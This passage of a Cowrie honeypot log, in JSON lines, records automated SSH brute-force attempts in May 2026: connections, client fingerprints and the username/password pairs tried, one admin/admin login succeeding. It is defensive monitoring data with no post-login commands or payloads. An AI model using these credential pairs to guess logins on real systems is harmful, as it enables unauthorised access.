],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:37.129877Z","src_ip":"130.12.180.51","session":"1de8c70adb26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:37.377021Z","src_ip":"130.12.180.51","session":"1de8c70adb26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:37.905370Z","src_ip":"130.12.180.51","session":"1de8c70adb26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:38.135760Z","src_ip":"176.65.132.129","session":"3df32eba235b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47538,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8d1bf17121","protocol":"ssh","message":"New connection: 176.65.132.129:47538 (159.203.135.109:22) [session: fb8d1bf17121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:39.898394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:39.903426Z","src_ip":"176.65.132.129","session":"fb8d1bf17121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:39.986670Z","src_ip":"176.65.132.129","session":"fb8d1bf17121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":41591,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a86f76007f","protocol":"ssh","message":"New connection: 213.135.168.228:41591 (159.203.135.109:22) [session: 85a86f76007f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:40.206537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:40.212221Z","src_ip":"213.135.168.228","session":"85a86f76007f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:40.235911Z","src_ip":"176.65.132.129","session":"fb8d1bf17121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:40.344813Z","src_ip":"213.135.168.228","session":"85a86f76007f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq","message":"login attempt [root/qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:40.906129Z","src_ip":"213.135.168.228","session":"85a86f76007f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:41.393271Z","src_ip":"176.65.132.129","session":"fb8d1bf17121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159788131714,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:41.937210Z","src_ip":"152.42.224.71","session":"ff5266fc2099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:42.041632Z","src_ip":"213.135.168.228","session":"85a86f76007f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47554,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5d94995951","protocol":"ssh","message":"New connection: 176.65.132.129:47554 (159.203.135.109:22) [session: 7a5d94995951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:43.092593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:43.097450Z","src_ip":"176.65.132.129","session":"7a5d94995951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:43.179771Z","src_ip":"176.65.132.129","session":"7a5d94995951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:43.427925Z","src_ip":"176.65.132.129","session":"7a5d94995951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:44.547093Z","src_ip":"176.65.132.129","session":"7a5d94995951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52650,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d1d74e78c7","protocol":"ssh","message":"New connection: 176.65.132.129:52650 (159.203.135.109:22) [session: 33d1d74e78c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:46.365980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:46.371240Z","src_ip":"176.65.132.129","session":"33d1d74e78c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:46.528268Z","src_ip":"176.65.132.129","session":"33d1d74e78c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:46.776093Z","src_ip":"176.65.132.129","session":"33d1d74e78c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50222,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ac7287eace","protocol":"telnet","message":"New connection: 152.42.224.71:50222 (10.17.0.5:23) [session: 35ac7287eace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:47.220211Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:47.861797Z","src_ip":"176.65.132.129","session":"33d1d74e78c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9c2233d7384","protocol":"ssh","message":"New connection: 176.65.132.129:52656 (159.203.135.109:22) [session: e9c2233d7384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:49.539201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:49.645667Z","src_ip":"176.65.132.129","session":"e9c2233d7384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:49.649562Z","src_ip":"176.65.132.129","session":"e9c2233d7384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:50.049442Z","src_ip":"176.65.132.129","session":"e9c2233d7384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:51.136373Z","src_ip":"176.65.132.129","session":"e9c2233d7384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52660,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85fbf8e2df0","protocol":"ssh","message":"New connection: 176.65.132.129:52660 (159.203.135.109:22) [session: c85fbf8e2df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:52.894422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:52.899906Z","src_ip":"176.65.132.129","session":"c85fbf8e2df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:52.987711Z","src_ip":"176.65.132.129","session":"c85fbf8e2df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:53.238412Z","src_ip":"176.65.132.129","session":"c85fbf8e2df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:54.324996Z","src_ip":"176.65.132.129","session":"c85fbf8e2df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ff215364624","protocol":"ssh","message":"New connection: 176.65.132.129:56920 (159.203.135.109:22) [session: 2ff215364624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:56.095211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:56.100435Z","src_ip":"176.65.132.129","session":"2ff215364624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:56.182484Z","src_ip":"176.65.132.129","session":"2ff215364624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:56.431984Z","src_ip":"176.65.132.129","session":"2ff215364624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.376132011413574,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:57.014505Z","src_ip":"152.42.224.71","session":"39fbffa1e073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:57.517230Z","src_ip":"176.65.132.129","session":"2ff215364624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56930,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d72cef03cf4","protocol":"ssh","message":"New connection: 176.65.132.129:56930 (159.203.135.109:22) [session: 2d72cef03cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:59.323519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:59.332823Z","src_ip":"176.65.132.129","session":"2d72cef03cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:59.415735Z","src_ip":"176.65.132.129","session":"2d72cef03cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:59.661816Z","src_ip":"176.65.132.129","session":"2d72cef03cf4","protocol":"ssh"}
